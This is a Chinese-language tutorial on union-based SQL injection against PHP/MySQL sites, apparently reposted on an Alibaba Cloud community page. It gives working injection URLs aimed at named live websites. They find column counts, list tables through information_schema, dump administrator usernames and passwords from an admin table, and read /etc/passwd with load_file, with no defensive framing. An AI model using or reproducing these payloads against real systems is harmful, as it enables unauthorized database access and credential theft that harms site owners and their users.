PHP+MYSQL注入執行個體及理論

來源:互聯網
上載者:User

首先我們在說一下邏輯錯誤跟語法錯誤:

最大區別就是語法錯誤通不過編譯器的編譯,邏輯錯誤則能通過。具體的說就是語法錯誤的意思是該錯誤違背了此種語言的基本規則,比如必須以分號結束語句的語言用點來結束。

邏輯錯誤是指演算法上的錯誤。比如迴圈語句的結束條件沒有寫,語句能通過編譯,但運行後會發生死迴圈無法跳出的現象。

下面看例子:http://www.jieyanbar.com/jycs.look.php?ID=293

我們加單引號’出錯,就是語法錯誤,因為引號違背了前開後閉的原則。加and+1=2出錯,是邏輯錯誤,電腦設定的就是1不能等於2。

下面我們在說下union:

先到百度搜下union。將兩個或更多查詢的結果組合為單個結果集,該結果集包含聯集查詢中的所有查詢的全部行。說白了就是union就是前後聯集查詢。select a,b,c from d where xx=1 這裡面的1就表現在url上面就是.php?id=1。如果沒有好好的過濾,那麼id=1 union select 後面,就要和前面相等。也就是select a,b,c from d where xx=1 union select 1,2,3才能執行,如果不相等,就是邏輯錯誤。例如: http://www.jieyanbar.com/jycs.look.php?ID=293+and+1=1+union+select+1,2,3 他就提示 The used SELECT statements have a different number of columns 你使用的select文法的欄位不一致,就是說你union的欄位數只有相等才能繼續,這就需要你一直猜數目了。直到猜到5的時候才返回正常頁面。

接下來說下注入語句:

http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,3,4,5+from+adminhttp://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+adminName,0x5c,adminPWD),4,5+from+admin

先說兩個函數:group_concat()是全顯。concat()和concat_ws()是只顯示一個。不過這個辦法未免過笨,因為表和欄位的名字都需要猜。

然後在說說爆表和欄位的方法:

MySQL有這樣一個information_schema資料庫儲存著資料庫裡面所有的表段名和欄位名。 資料庫裡面的表段的名字在information_schema(schema是圖解、計劃、模式、概要的意思)資料庫的columns表段中,名字就叫table_name而欄位名字也在這裡,資料庫裡面的名column_name

http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,3,4,5+from+information_schema.columns這樣的話,我們可以從+from+information_schema資料的columns表來concat內容。但是上面的語句有個缺點,就是資料庫有好幾個,連information_schema資料庫裡面的表段的名稱也給concat出來了。那就加個where語句: http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),4,5+from+information_schema.columns+where+table_schema=database()。database()是當前使用的資料庫的意思。下面詳細說一下information_schema的結構吧! information_schema有個表叫columns。columns裡面記錄著MySQL裡面所有的欄位的名稱,所有的當然這些記錄有屬性column_name是欄位的名字,table_name是欄位所在表段的名字,table_schema是欄位所在的資料庫的名字,那麼帶到注入語句當中就是union select group_concat(table_name) from information_schema.columns。不過,有個問題是,如果一個表x中有3個欄位,a,b,c,information_schema.columns裡面的記錄因為abc是三個,所以他們所在的表X就會出現三次。為了避免重複,我們就加個DISTINCT,group_concat(DISTINCT table_name) http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),4,5+from+information_schema.columns+where+table_schema=database() 詳細的意思就是,輸出當前資料庫,全部的不重複的table_name,也就是查詢現在所使用的資料庫裡面都有哪些表段。查表懂了,那麼查欄位也就簡單了我們看上面的語句,有個admin表對吧?這裡我們需要把admin進行hex取值(就是換成16進位) select group_concat(DISTINCT column_name) from information_schema.columns where table_name=0x61646d696e (admin的16禁止就是0x61646d696e,在SQL中可以自動識別hex編碼)

如果你不轉化為hex的話那麼where條件就要這麼寫:where table_name='admin'加引號在伺服器會出問題。

http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name),4,5+from+information_schema.columns+where+table_name=0x61646d696e

http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name),4,5+from+information_schema.columns+where+table_name='admin'

意思是一樣的,得到的卻不一樣

然後是關於MySQL的幾個參數:

一般這幾個參數,我都是直接複製的http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,concat(user(),database(),version()),3,4,5

concat(user(),database(),version())

不過這樣就有個問題,mlyjyb@localhostmlyjy5.0.77連成一片了,分不開,這個時候還得用hex,選擇用冒號:來分開這三個參數,冒號的hex就是0x3a

http://www.jieyanbar.com/jycs.look.php?ID=-1+union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,4,5

這三個參數中,database()是當前資料庫的名稱,現在用的資料庫的名字叫什麼,database()就顯示什麼user()是資料庫使用者,@前面是使用者名稱,@後面是資料庫所在的伺服器version()是資料庫版本,也就是4.x和5.x
然後還有兩個用法:一個是load_file()。這個函數對許可權要求比較高,通常是獨立伺服器的大站才有。load_file()意思就是以文本形式讀取硬碟檔案。用法是 select load_file('檔案路徑');

例如:

http://www.nicegirlproject.jp/event_Info.php?id=-1+union+select+1,2,3,4,load_file(0x2F6574632F706173737764),6,7,8,9,0,11,12

推薦:http://blackbap.org/?p=archive&id=41這個是Linux的檔案結構

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.